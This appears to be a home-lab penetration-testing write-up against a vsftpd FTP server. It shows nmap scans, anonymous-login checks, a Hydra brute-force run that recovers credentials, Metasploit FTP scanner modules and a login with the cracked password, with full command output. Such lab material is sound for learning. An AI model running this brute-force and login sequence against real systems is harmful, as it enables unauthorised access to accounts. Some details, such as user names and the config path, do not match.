

FTP (Port 21) Penetration Testing

✓ Lab Setup

- Target machine ubuntu : 10.233.43.233 (IP Address)
- Attacking machine kali : 10.233.43.128 (IP Address)
 - FTP Service : vsftpd

✓ FTP Service Installation (Ubuntu)

- `sudo apt install vsftpd -y`

```
kiran@kiran:~$ sudo apt install vsftpd -y
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following package was automatically installed and is no longer required:
  libllvm19
Use 'sudo apt autoremove' to remove it.
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 69 not upgraded.
Need to get 120 kB of archives.
After this operation, 312 kB of additional disk space will be used.
Get:1 http://in.archive.ubuntu.com/ubuntu noble-updates/main amd64 vsftpd amd64 3.0.5-0ubuntu3.1 [120 kB]
Fetched 120 kB in 2s (59.4 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 163747 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.5-0ubuntu3.1_amd64.deb ...
Unpacking vsftpd (3.0.5-0ubuntu3.1) ...
Setting up vsftpd (3.0.5-0ubuntu3.1) ...
Created symlink /etc/systemd/system/multi-user.target.wants/vsftpd.service → /usr/lib/systemd/system/vsftpd.service.
Processing triggers for man-db (2.12.0-4build2) ...
```

- `sudo systemctl start vsftpd`
- `sudo systemctl enable vsftpd`

```
kiran@kiran:~$ sudo systemctl start vsftpd
kiran@kiran:~$ sudo systemctl enable vsftpd
Synchronizing state of vsftpd.service with SysV service script with /usr/lib/systemd/systemd-sysv-install.
Executing: /usr/lib/systemd/systemd-sysv-install enable vsftpd
kiran@kiran:~$
```

- `sudo systemctl status vsftpd`

```
kiran@kiran:~$ sudo systemctl status vsftpd
● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; enabled; preset: enabled)
   Active: active (running) since Sat 2026-01-17 09:47:57 UTC; 4min 49s ago
     Main PID: 4819 (vsftpd)
       Tasks: 1 (limit: 13060)
      Memory: 752.0K (peak: 1.5M)
         CPU: 57ms
        CGroup: /system.slice/vsftpd.service
                └─4819 /usr/sbin/vsftpd /etc/vsftpd.conf

Jan 17 09:47:57 kiran systemd[1]: Starting vsftpd.service - vsftpd FTP server...
Jan 17 09:47:57 kiran systemd[1]: Started vsftpd.service - vsftpd FTP server.
```

Scan FTP port(21) :

➤ `nmap -p 21 10.233.43.233`

```
(kiran@kali)-[~]
$ nmap -p 21 10.233.43.233
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-17 05:01 -0500
Nmap scan report for 10.233.43.233
Host is up (0.0020s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
MAC Address: 08:00:27:B6:23:E1 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.70 seconds
```

Service and Version Detection :

➤ `nmap -sV -p 21 10.233.43.233`

```
(kiran@kali)-[~]
$ nmap -sV -p 21 10.233.43.233
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-17 05:02 -0500
Nmap scan report for 10.233.43.233
Host is up (0.0013s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
MAC Address: 08:00:27:B6:23:E1 (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds
```

FTP Anonymous Login Check :

➤ `nmap --script ftp-anon -p 21 10.233.43.233`

```
(kiran@kali)-[~]
$ nmap --script ftp-anon -p 21 10.233.43.233

Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-17 05:03 -0500
Nmap scan report for 10.233.43.233
Host is up (0.0021s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
MAC Address: 08:00:27:B6:23:E1 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 6.40 seconds
```

✓ Manual FTP Enumeration

- `ftp 10.233.43.233`
- Username: anonymous
- Password: anonymous
 - `ls`
 - `ifconfig`

```
(kiran@kali)-[~]
└─$ ftp 10.233.43.233
Connected to 10.233.43.233.
220 (vsFTPD 3.0.5)
Name (10.233.43.233:kiran): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp> pwd
Unable to determine remote directory
ftp> ls
530 Please login with USER and PASS.
530 Please login with USER and PASS.
ftp: Can't bind for data connection: Address already in use
ftp> ifconfig
?Invalid command.
ftp>
```

✓ User Creation (Ubuntu)

- `sudo adduser ftpuser`
- Username: ftpkiran
- Password: kiran@kk

```
kiran@kiran:~$ sudo adduser ftpkiran
[sudo] password for kiran:
info: Adding user `ftpkiran' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `ftpkiran' (1001) ...
info: Adding new user `ftpkiran' (1001) with group `ftpkiran (1001)' ...
info: Creating home directory `/home/ftpkiran' ...
info: Copying files from `/etc/skel' ...
New password:
```

- `sudo nano /etc/vsftpd.config`

```
#
# Uncomment this to allow local users to log in.
local_enable=YES
#
# Uncomment this to enable any form of FTP write command.
write_enable=YES
#
```

- `sudo systemctl restart vsftpd`

✓ FTP Brute-Force Using Hydra

```
hydra -L /home/kiran/Desktop/PasswordHacking/user1 -P /home/kiran/Desktop/PasswordHacking/pass1 ftp://10.233.43.233
```

```
(kiran@kali)-[~]
└─$ hydra -L /home/kiran/Desktop/PasswordHacking/user1 -P /home/kiran/Desktop/PasswordHacking/pass1 ftp://10.233.43.233
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal
purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-17 06:22:19
[DATA] max 16 tasks per 1 server, overall 16 tasks, 80 login tries (l:8/p:10), ~5 tries per task
[DATA] attacking ftp://10.233.43.233:21/
[21][ftp] host: 10.233.43.233 login: kiran password: kiran@kk
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-17 06:22:40
```

✓ FTP Enumeration Using Metasploit

- msfconsole
- use auxiliary/scanner/ftp/ftp_version
- set RHOSTS 10.233.43.233
- run

```
(root@kali)-[~]
# msfconsole -q
msf > use auxiliary/scanner/ftp/ftp_version
msf auxiliary(scanner/ftp/ftp_version) > set RHOSTS 10.233.43.233
RHOSTS => 10.233.43.233
msf auxiliary(scanner/ftp/ftp_version) > run
[*] 10.233.43.233:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Anonymous login check:

- use auxiliary/scanner/ftp/anonymous
- set RHOSTS 10.233.43.233
- run

```
msf auxiliary(scanner/ftp/ftp_version) > use auxiliary/scanner/ftp/anonymous
msf auxiliary(scanner/ftp/anonymous) > set RHOSTS 10.233.43.233
RHOSTS => 10.233.43.233
msf auxiliary(scanner/ftp/anonymous) > run
[*] 10.233.43.233:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ftp/anonymous) > █
```

✓ FTP Login Using Cracked Credentials

- ftp 10.233.43.233
- Username: kiran
- Password: kiran@kk

```
(kiran@kali)-[~]
$ ftp 10.233.43.233
Connected to 10.233.43.233.
220 (vsFTPd 3.0.5)
Name (10.233.43.233:kiran): kiran
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||5453|)
150 Here comes the directory listing.
drwxr-xr-x  2 1000    1000          4096 Dec 19 07:04 Desktop
drwxr-xr-x  2 1000    1000          4096 Dec 19 07:04 Documents
drwxr-xr-x  2 1000    1000          4096 Dec 19 07:04 Downloads
drwxr-xr-x  2 1000    1000          4096 Dec 19 07:04 Music
drwxr-xr-x  3 1000    1000          4096 Jan 02 12:37 Pictures
drwxr-xr-x  2 1000    1000          4096 Dec 19 07:04 Public
drwxr-xr-x  2 1000    1000          4096 Dec 19 07:04 Templates
drwxr-xr-x  2 1000    1000          4096 Dec 19 07:04 Videos
drwx----- 6 1000    1000          4096 Jan 09 13:00 snap
226 Directory send OK
```